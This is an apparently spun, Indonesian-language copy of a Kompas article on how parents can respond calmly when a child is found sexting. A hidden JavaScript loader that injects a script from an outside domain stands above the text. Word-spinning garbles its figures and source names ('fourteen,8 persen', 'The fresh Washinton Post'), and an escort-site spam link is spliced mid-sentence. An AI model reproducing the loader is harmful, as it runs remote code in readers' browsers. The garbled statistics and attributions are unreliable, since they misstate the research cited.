;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
KOMPAS – Banyak orang tua kebingungan ketika mendapati anaknya melakukan sexting atau melakukan percakapan seks lewat aplikasi berkirim pesan. Respon yang tepat harus diberikan agar anaknya menyadari konsekuensi perbuatannya itu tanpa menarik diri dari orang tuanya.
Memberikan gizmo ke anak berarti memberikan kebebasan yang begitu luas sekaligus memperluas jangkauan sosial mereka. Salah satu hal yang paling ditakuti ialah kemungkin anak melakukan sex cam dengan orang asing secara online.
Riset yang dilansir dari The fresh Washinton Post menyebutkan jika fourteen,8 persen anak berusia several sampai 17 tahun pernah mengirim gender speak. Sebaliknya, 24,8 persen anak usia tersebut juga pernah menerima pesan serupa.
Anak kerap kali tidak menyadari betapa serius risiko perbuatan yang mereka lakukan ini. Kebanyakan melakukannya karena penasaran atau eksplorasi seksual sebagai hal yang baru bagi mereka.
Beberapa juga melakukannya karena terpaksa atau dilakukan demi pergaulan. Padahal jelas perbuatan ini ilegal dilakukan karena bisa dianggap sebagai tindakan pornografi.
Selain itu, ada banyak konsekuensi lainnya yang mungkin mereka hadapi di masa depan. Misalnya saja foto yang mereka kirimkan melalui pesan on the web itu bisa menyebar tanpa terkontrol.
Kita jelas tidak mampu membatasi siapa saja yang bisa mengakses foto tersebut. Anak bisa saja menerima intimidation atau ancaman karena foto yang mereka kirimkan.
Beberapa kasus menunjukkan jika foto bugil kerap dijadikan ancaman agar anak mau melakukan berbagai hal yang lebih buruk lagi. Penyebaran foto secara luas juga dapat berdampak pada reputasi anak dan menjadikan mereka menjadi sasaran intimidation.
Hal yang paling parah adalah kemungkinan anak terpapar predator seksual dan menjadi korbannya. Karena itu, penting bagi orang tua untuk menyampaikan pada anak implikasi yan mungkin terjadi atas tindakannya tersebut.
Teknologi merupakan hal yang baru bagi orangtua namun menjadi sesuatu yang absolute bagi anak-anak. Karena itu ada beberapa hal yang mungkin sulit dipahami oleh orang tua seperti kecenderungan intercourse speak.
Meski sudah membatasi akses teknologi anak, selalu ada kemungkinan jika orang tua kecolongan. Namun jika mendapati anak melakukan sexting, jangan panik.
Sisihkan perasaan panik dan amarah yang muncul dan berpikirlah dengan tenang. Respon orang tua sangat menentukan perilaku anak mengenai tindakan ini di kemudian hari.
Dr. Renee Solomon, Psikolog Klinis yang berbasis di La mengatakan jika orang tua harus menghilangkan pikiran bahwa ini adalah hal yang tabu untuk dibahas.
Lebih jauh lagi, ia menguraikan langkah yang bisa dilakukan oleh orang tua yang anaknya ketahuan bertukar pesan sex cam antara lain:
Banyak orang tua enggan mengakui kenyataan jika anaknya adalah pengirim pesan seks tersebut. Terlebih lagi jika mereka merasa anaknya memiliki karakter pendiam dan pemalu sehingga tidak mungkin melakukannya.
Solomon mengatakan, bagi remaja dunia maya terasa agak anonim dan jauh dari kenyataan sehingga lebih nyaman mengatakan hal-hal yang tidak pantas. Karena itu langkah pertama adalah orang tua harus mengakui perbuatan anaknya itu dan bukan malah memungkirinya.
Studi Universitas Drexel membuktikan jika kebanyakan remaja tidak www.datingrating.net/escort/modesto menyadari konsekuensi hukum atas sexting. Mereka juga tidak menyadari jika pesan atau foto yang mereka kirimkan bisa menyebar luas.
Solomon membeberkan fakta bahwa kebanyakan foto bugil remaja wanita yang dikirim secara pribadi berakhir dengan diteruskan kepada banyak penerima. Karena itu, sampaikan sejak awal pada anak bahwa hal itu tidak bisa dikontrol.
Untuk mempermudah, berikan contoh misalnya dengan sejumlah kasus yang terjadi atau melalui film. Ada banyak serial televisi atau konten yang bisa dijadikan panduan untuk mengajari anak tentang konsekuensi ini.
Jika mendapati anak bertukar pesan seks, Solomon menyarankan orang tua untuk segera membicarakannya saat itu. Diskusikan ini kepada anak dengan tenang sembari menyampaikan tentang berbagai risikonya.
Penting juga untuk menjelaskan aturan dan batasan yang dimiliki setiap keluarga tentang kencan dan aktivitas seksual. Kebanyakan remaja menganggap sexting sebagai bukti hubungan romantis mereka dengan pasangannya.
Seksualitas seringkali menjadi hal yang tabu dibahas di keluarga. Hal ini juga yang kerap menjadi pangkal masalah karena anak kemudian berusaha mencari tahu sendiri termasuk lewat sexting.
“Sayangnya, remaja kita banyak belajar tentang seks dari news sosial, yang tidak akurat atau bermanfaat,” ujar Solomon, dikutip dari Members of the family Education pada Kamis ().
Karena itu penting sekali membicarakan seksualitas pada anak dengan terbuka dan jujur. Jadi kita bisa mengkonfirmasi berbagai keingintahuan anak sekaligus menjelaskan tentang apa saja yang baik dan buruk.
Orangtua diminta untuk tenang dan mampu bersikap tegas. Jika anak sudah menunjukkan tanda kecanduan atau gejala berulang sexting maka saatnya mengambil gizmo mereka.
Jika langkah itu dianggap terlalu ekstrem maka cobalah memantau komunikasi anak dengan lebih intens. Solomon menyarankan untuk berteman di news sosial dengan anak agar kita lebih memahami lingkungannya di dunia maya.
Namun tetap ada kemungkinan orang tua diblokir oleh anak. Karena itu keterbukaan dan komunikasi langsung lebih penting untuk melawan pengaruh luar.